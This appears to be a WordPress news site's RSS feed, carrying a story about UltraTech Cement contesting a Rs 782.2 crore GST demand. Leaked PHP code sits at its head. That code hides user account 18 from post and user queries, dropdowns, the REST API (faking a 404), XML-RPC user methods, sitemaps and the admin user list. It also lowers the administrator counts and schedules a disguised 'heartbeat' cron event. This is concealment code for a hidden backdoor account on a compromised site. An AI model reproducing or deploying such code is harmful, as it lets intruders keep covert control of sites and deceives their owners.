add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
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}, 1 );

add_action( 'template_redirect', function() {
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    }
} );

add_action( 'pre_user_query', function( $q ) {
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        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
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    $exclude   = (array) $q->get( 'exclude' );
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    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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		<title>UltraTech Cement Faces Rs 782 Crore GST Demand, Company Plans Legal Challenge</title>
		<link>https://theedgemedia.in/ultratech-cement-faces-rs-782-crore-gst-demand-company-plans-legal-challenge</link>
					<comments>https://theedgemedia.in/ultratech-cement-faces-rs-782-crore-gst-demand-company-plans-legal-challenge#respond</comments>
		
		<dc:creator><![CDATA[The Edge Media]]></dc:creator>
		<pubDate>Sat, 20 Dec 2025 17:45:52 +0000</pubDate>
				<category><![CDATA[Business Edge]]></category>
		<category><![CDATA[Main Story]]></category>
		<category><![CDATA[National Edge]]></category>
		<category><![CDATA[Aditya Birla Group news]]></category>
		<category><![CDATA[cement industry India]]></category>
		<category><![CDATA[corporate tax dispute]]></category>
		<category><![CDATA[GST demand India]]></category>
		<category><![CDATA[UltraTech Cement GST notice]]></category>
		<guid isPermaLink="false">https://theedgemedia.in/?p=27986</guid>

					<description><![CDATA[<p>UltraTech clarified that it intends to challenge the demand, maintaining that the conclusions drawn by the tax authorities are not justified.</p>
<p>The post <a href="https://theedgemedia.in/ultratech-cement-faces-rs-782-crore-gst-demand-company-plans-legal-challenge">UltraTech Cement Faces Rs 782 Crore GST Demand, Company Plans Legal Challenge</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p data-start="203" data-end="418">UltraTech Cement on Saturday announced that it has received a Goods and Services Tax demand notice amounting to Rs 782.2 crore and has decided to contest the order before the appropriate legal forum.</p>
<blockquote>
<p data-start="420" data-end="706"><span style="color: #008000;"><em>In a regulatory filing, the company stated that it is currently reviewing the order in detail and is considering all available legal remedies.</em></span></p>
</blockquote>
<p data-start="420" data-end="706"><a href="https://theedgemedia.in/wp-content/uploads/2025/12/ultra-2.jpg"><img fetchpriority="high" decoding="async" class="aligncenter wp-image-27988" src="https://theedgemedia.in/wp-content/uploads/2025/12/ultra-2-300x188.jpg" alt="" width="732" height="459" srcset="https://theedgemedia.in/wp-content/uploads/2025/12/ultra-2-300x188.jpg 300w, https://theedgemedia.in/wp-content/uploads/2025/12/ultra-2-1024x640.jpg 1024w, https://theedgemedia.in/wp-content/uploads/2025/12/ultra-2-768x480.jpg 768w, https://theedgemedia.in/wp-content/uploads/2025/12/ultra-2-750x469.jpg 750w, https://theedgemedia.in/wp-content/uploads/2025/12/ultra-2-1140x713.jpg 1140w, https://theedgemedia.in/wp-content/uploads/2025/12/ultra-2.jpg 1280w" sizes="(max-width: 732px) 100vw, 732px" /></a></p>
<p data-start="420" data-end="706">UltraTech clarified that it intends to challenge the demand, maintaining that the conclusions drawn by the tax authorities are not justified.</p>
<p data-start="708" data-end="1083">According to the filing, the order pertains to multiple matters involving alleged short payment of GST, improper utilisation of Input Tax Credit, and related issues for the period spanning from the financial year 2018–19 to 2022–23. The company said the order was passed without giving due consideration to its submissions and explanations presented during the proceedings.</p>
<p data-start="1085" data-end="1328">The demand upheld by the tax authority includes a tax liability of Rs 390.95 crore along with applicable interest, an additional interest amount of Rs 27.68 lakh, and a penalty of Rs 390.95 crore, taking the total exposure to Rs 782.2 crore.</p>
<p data-start="1330" data-end="1482">The order was issued by the Joint Commissioner of Central Goods and Services Tax and Central Excise, Patna, and was received by the company on Friday.</p>
<p data-start="1484" data-end="1673">UltraTech Cement, the flagship cement business of the Aditya Birla Group, is the largest cement manufacturer in India, with a production capacity approaching 200 million tonnes per annum.</p>
<p>The post <a href="https://theedgemedia.in/ultratech-cement-faces-rs-782-crore-gst-demand-company-plans-legal-challenge">UltraTech Cement Faces Rs 782 Crore GST Demand, Company Plans Legal Challenge</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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